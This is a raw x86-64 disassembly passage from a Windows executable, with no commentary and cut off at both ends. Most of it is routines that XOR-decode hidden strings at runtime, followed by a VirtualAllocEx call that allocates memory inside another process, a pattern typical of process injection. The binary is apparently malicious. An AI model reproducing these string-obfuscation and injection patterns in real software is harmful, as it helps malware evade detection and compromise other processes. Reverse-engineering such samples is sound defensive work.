punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x140006e00
mov rcx, r10
jmp 0x140007fd6
mov byte [rsp + 0x7f], 0
lea rdx, [rbp + 0x2f8]
lea rcx, [rsp + 0x7f]
call fcn.14001d570
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140006e79
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1800]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1800]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1800]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x14000740b
mov byte [rbp - 0x80], 0
lea rdx, [rbp + 0xec8]
lea rcx, [rbp - 0x80]
call fcn.14001dc90
mov rbx, rax
cmp byte [rax + 0xd], 0
je 0x140006fe1
mov r8d, edi
cmp esi, 2
jl 0x140006f9f
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140006fb0
mov byte [rbp - 0x7f], 0
lea rdx, [rbp + 0x958]
lea rcx, [rbp - 0x7f]
call fcn.14001dac0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140007111
mov r8d, edi
cmp esi, 2
jl 0x1400070cc
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400070e0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x7e], 0
lea rdx, [rbp + 0x968]
lea rcx, [rbp - 0x7e]
call fcn.14001d8f0
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140007250
mov r8d, edi
cmp esi, 2
jl 0x140007217
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140007220
mov byte [rbp - 0x7d], 0
lea rdx, [rbp + 0xed8]
lea rcx, [rbp - 0x7d]
call fcn.14001d720
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140007390
mov r8d, edi
cmp esi, 2
jl 0x14000734c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140007360
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x7c], 0
lea rdx, [rbp + 0x668]
lea rcx, [rbp - 0x7c]
call fcn.14001d680
mov rbx, rax
movzx ecx, byte [rax + 0xa]
test cl, cl
je 0x1400073f2
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor byte [rax + 9], 9
xor cl, 0xa
mov byte [rax + 0xa], cl
mov byte [rbp - 0x7b], 0
lea rdx, [rbp + 0x498]
lea rcx, [rbp - 0x7b]
call fcn.14001d5f0
jmp 0x140007fa5
mov byte [rbp - 0x7a], 0
lea rdx, [rbp + 0x308]
lea rcx, [rbp - 0x7a]
call fcn.14001de60
movzx ecx, byte [rax + 8]
test cl, cl
je 0x140007449
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor cl, 8
mov byte [rax + 8], cl
mov rdx, rax
lea rcx, [rbp + 0x1820]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1820]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1820]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140007af9
mov byte [rbp - 0x79], 0
lea rdx, [rbp + 0xbc]
lea rcx, [rbp - 0x79]
call fcn.14001e7f0
mov rbx, rax
movzx eax, byte [rax + 2]
test al, al
je 0x1400074ac
xor byte [rbx + 1], 1
xor al, 2
mov byte [rbx + 2], al
mov byte [rbp - 0x78], 0
lea rdx, [rbp + 0x228]
lea rcx, [rbp - 0x78]
call fcn.14001e640
mov r10, rax
cmp byte [rax + 7], 0
je 0x1400075d1
cmp esi, 2
jl 0x140007590
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
jmp 0x1400075d1
mov r9, r10
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 8
jl 0x1400075a0
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x77], 0
lea rdx, [rbp + 0x978]
lea rcx, [rbp - 0x77]
call fcn.14001e470
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140007710
mov r8d, edi
cmp esi, 2
jl 0x1400076d7
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x1400076e0
mov byte [rbp - 0x76], 0
lea rdx, [rbp + 0xee8]
lea rcx, [rbp - 0x76]
call fcn.14001e2a0
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140007850
mov r8d, edi
cmp esi, 2
jl 0x14000780c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140007820
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x75], 0
lea rdx, [rbp + 0x1318]
lea rcx, [rbp - 0x75]
call fcn.14001e0b0
mov rbx, rax
cmp byte [rax + 0xf], 0
je 0x1400079c1
cmp esi, 2
jl 0x14000797f
mov edx, edi
mov rcx, rax
nop dword [rax + rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm8
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm2, xmm0
andps xmm2, xmm9
packuswb xmm2, xmm2
packuswb xmm2, xmm2
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm6
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm8
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
psubd xmm3, xmm0
andps xmm3, xmm9
packuswb xmm3, xmm3
packuswb xmm3, xmm3
movd xmm0, dword [rcx + 4]
xorps xmm3, xmm0
movd dword [rcx + 4], xmm3
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x10
jl 0x1400078a0
jmp 0x1400079c1
mov r9, rbx
mov r8d, edi
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x10
jl 0x140007990
mov byte [rbp - 0x74], 0
lea rdx, [rbp + 0x988]
lea rcx, [rbp - 0x74]
call fcn.14001dee0
mov r10, rax
cmp byte [rax + 0xc], 0
je 0x140006e31
mov r8d, edi
cmp esi, 2
jl 0x140007aac
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140007ac0
mov rcx, r10
jmp 0x140007fd6
mov byte [rbp - 0x73], 0
lea rdx, [rbp + 0x144]
lea rcx, [rbp - 0x73]
call fcn.14001e870
movzx ecx, byte [rax + 5]
test cl, cl
je 0x140007b2b
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor cl, 5
mov byte [rax + 5], cl
mov rdx, rax
lea rcx, [rbp + 0x1840]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1840]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1840]
call fcn.1400b3040
cmp ebx, 0xd
jne 0x140007fe9
mov byte [rbp - 0x72], 0
lea rdx, [rbp + 0x678]
lea rcx, [rbp - 0x72]
call fcn.14001ef70
mov rbx, rax
movzx eax, byte [rax + 0xa]
test al, al
je 0x140007bae
xor byte [rbx + 1], 1
xor byte [rbx + 2], 2
xor byte [rbx + 3], 3
xor byte [rbx + 4], 4
xor byte [rbx + 5], 5
xor byte [rbx + 6], 6
xor byte [rbx + 7], 7
xor byte [rbx + 8], 8
xor byte [rbx + 9], 9
xor al, 0xa
mov byte [rbx + 0xa], al
mov byte [rbp - 0x71], 0
lea rdx, [rbp + 0xc0]
lea rcx, [rbp - 0x71]
call fcn.14001eef0
movzx ecx, byte [rax + 2]
test cl, cl
je 0x140007bd4
xor byte [rax + 1], 1
xor cl, 2
mov byte [rax + 2], cl
mov rdx, rbx
mov rcx, rax
call fcn.140003210
mov r14, rax
mov byte [rbp - 0x70], 0
lea rdx, [rbp + 0x998]
lea rcx, [rbp - 0x70]
call fcn.14001ed20
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140007d10
mov r8d, edi
cmp esi, 2
jl 0x140007cda
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx]
xorps xmm1, xmm0
movd dword [rbx], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [rbx + 4]
xorps xmm1, xmm0
movd dword [rbx + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140007ce0
mov byte [rbp - 0x6f], 0
lea rdx, [rbp + 0xef8]
lea rcx, [rbp - 0x6f]
call fcn.14001eb50
mov r10, rax
cmp byte [rax + 0xd], 0
je 0x140007e50
mov r8d, edi
cmp esi, 2
jl 0x140007e0c
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm11
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd eax, xmm13
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10]
xorps xmm1, xmm0
movd dword [r10], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm11
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm11
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm12
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, eax
paddb xmm1, xmm0
movd xmm0, dword [r10 + 4]
xorps xmm1, xmm0
movd dword [r10 + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, r10
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x140007e20
mov rdx, rbx
mov rcx, r10
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r14, rax
mov byte [rbp - 0x6e], 0
lea rdx, [rbp + 0x9a8]
lea rcx, [rbp - 0x6e]
call fcn.14001e980
mov rbx, rax
cmp byte [rax + 0xc], 0
je 0x140007f91
mov r8d, edi
cmp esi, 2
jl 0x140007f54
movdqa xmm1, xmm6
punpckldq xmm1, xmm6
pmuldq xmm1, xmm8
movdqa xmm0, xmm6
punpckhdq xmm0, xmm6
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm6
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm6
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax]
xorps xmm1, xmm0
movd dword [rax], xmm1
movdqa xmm1, xmm7
punpckldq xmm1, xmm7
pmuldq xmm1, xmm8
movdqa xmm0, xmm7
punpckhdq xmm0, xmm7
pmuldq xmm0, xmm8
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm7
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm10
movdqa xmm1, xmm7
psubd xmm1, xmm0
andps xmm1, xmm9
packuswb xmm1, xmm1
packuswb xmm1, xmm1
movd xmm0, dword [rax + 4]
xorps xmm1, xmm0
movd dword [rax + 4], xmm1
mov r8d, 8
movsxd r9, r8d
add r9, rbx
nop word [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140007f60
mov byte [rbp - 0x6d], 0
lea rdx, [rbp + 0x4a8]
lea rcx, [rbp - 0x6d]
call fcn.14001e8f0
movzx ecx, byte [rax + 9]
test cl, cl
je 0x140007fd3
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor byte [rax + 6], 6
xor byte [rax + 7], 7
xor byte [rax + 8], 8
xor cl, 9
mov byte [rax + 9], cl
mov rcx, rax
mov rdx, rbx
call fcn.140003210
mov rdx, r14
mov rcx, rax
call fcn.1400b5ca0
mov r8d, dword [r13 + 0x50]
mov dword [rsp + 0x20], 4
xor edx, edx
mov r9d, 0x3000
mov rcx, qword [rbp + 0x208]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
mov qword [rbp + 0x230], rax
test rax, rax
je 0x140017f6c
mov byte [rbp - 0x6c], 0
lea rdx, [rbp + 0x1b4]
lea rcx, [rbp - 0x6c]
call fcn.14001f010
movzx ecx, byte [rax + 6]
test cl, cl
je 0x140008053
xor byte [rax + 1], 1
xor byte [rax + 2], 2
xor byte [rax + 3], 3
xor byte [rax + 4], 4
xor byte [rax + 5], 5
xor cl, 6
mov byte [rax + 6], cl
mov rdx, rax
lea rcx, [rbp + 0x1860]
call fcn.1400b3120
nop
xor edx, edx
mov r8d, 0xa
lea rcx, [rbp + 0x1860]
call fcn.140003160
mov ebx, eax
lea rcx, [rbp + 0x1860]
call fcn.1400b3040
cmp ebx, 9
jne 0x140008749
mov byte [rbp - 0x6b], 0
lea rdx, [rbp + 0x1520]
lea rcx, [rbp - 0x6b]
call fcn.14001f8d0
mov rbx, rax
cmp byte [rax + 0x19], 0
je 0x1400081e1
mov r8d, edi
cmp esi, 2
jl 0x1400081a7
mov rcx, rax
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm6
